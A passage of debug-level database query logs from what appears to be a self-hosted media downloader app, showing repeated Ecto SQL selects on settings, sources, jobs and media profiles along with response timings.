s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.073 [debug] QUERY OK source="sources" db=0.9ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.073 [debug] QUERY OK source="tasks" db=0.7ms queue=3.3ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 04:52:52.073 [debug] QUERY OK source="oban_jobs" db=0.8ms queue=2.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 04:52:52.074 [debug] QUERY OK source="tasks" db=1.3ms queue=2.9ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:52:52.074 [debug] QUERY OK source="oban_jobs" db=2.1ms queue=2.9ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 04:52:52.074 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=2.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 04:52:52.074 [debug] QUERY OK source="settings" db=0.5ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.074 [debug] QUERY OK source="sources" db=0.3ms queue=1.7ms idle=0.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:52:52.074 [debug] QUERY OK source="settings" db=0.6ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.075 [debug] QUERY OK source="settings" db=0.4ms queue=2.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.075 [debug] QUERY OK source="oban_jobs" db=1.2ms queue=1.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:52:52.075 [debug] QUERY OK source="oban_jobs" db=1.3ms queue=2.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 04:52:52.075 [debug] QUERY OK source="settings" db=0.7ms queue=2.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.076 [debug] QUERY OK source="oban_jobs" db=1.6ms queue=2.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 04:52:52.076 [info] Sent 200 in 15ms 04:52:52.076 [debug] QUERY OK source="settings" db=0.8ms queue=1.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.076 [debug] QUERY OK source="settings" db=0.9ms queue=2.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.076 [debug] QUERY OK source="oban_jobs" db=0.8ms queue=2.9ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 04:52:52.077 [debug] QUERY OK source="oban_jobs" db=1.3ms queue=1.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:52:52.077 [debug] QUERY OK source="settings" db=0.5ms queue=2.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.077 [debug] QUERY OK source="settings" db=0.7ms queue=2.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.077 [debug] QUERY OK source="oban_jobs" db=1.4ms queue=1.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 04:52:52.077 [debug] QUERY OK source="settings" db=0.3ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.077 [debug] QUERY OK source="settings" db=0.6ms queue=2.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="settings" db=0.5ms queue=1.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="media_items" db=1.3ms queue=1.7ms idle=0.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:52.078 [debug] QUERY OK source="settings" db=0.6ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="settings" db=0.7ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="settings" db=1.2ms queue=1.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="settings" db=0.7ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.078 [debug] QUERY OK source="settings" db=0.8ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.079 [debug] QUERY OK source="settings" db=0.2ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.079 [debug] QUERY OK source="settings" db=0.5ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.079 [debug] QUERY OK source="settings" db=1.0ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.079 [info] Sent 200 in 18ms 04:52:52.079 [debug] QUERY OK source="settings" db=0.6ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.079 [debug] QUERY OK source="media_items" db=1.0ms queue=0.7ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:52.079 [debug] QUERY OK source="settings" db=0.5ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.080 [debug] QUERY OK source="settings" db=0.6ms queue=2.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.080 [debug] QUERY OK source="settings" db=0.7ms queue=2.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.080 [debug] QUERY OK source="settings" db=0.8ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.080 [debug] QUERY OK source="settings" db=0.9ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.080 [debug] QUERY OK source="settings" db=0.9ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.081 [debug] QUERY OK source="settings" db=0.6ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.081 [debug] QUERY OK source="settings" db=0.6ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.081 [debug] QUERY OK source="settings" db=1.3ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.081 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.9ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.082 [debug] QUERY OK source="settings" db=1.1ms queue=0.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.082 [debug] QUERY OK source="media_profiles" db=1.1ms queue=1.1ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.082 [debug] QUERY OK source="settings" db=0.4ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.082 [debug] QUERY OK source="settings" db=0.7ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.082 [debug] QUERY OK source="settings" db=0.5ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.082 [debug] QUERY OK source="settings" db=0.2ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.082 [debug] QUERY OK source="settings" db=0.5ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.083 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.083 [debug] QUERY OK source="settings" db=0.5ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.083 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.083 [debug] QUERY OK source="settings" db=0.8ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.083 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.083 [debug] QUERY OK source="settings" db=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.084 [debug] QUERY OK source="media_profiles" db=1.2ms queue=1.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.083 [info] Sent 200 in 22ms 04:52:52.084 [info] Sent 200 in 23ms 04:52:52.084 [debug] QUERY OK source="settings" db=0.8ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.084 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.085 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.085 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.7ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.085 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.7ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 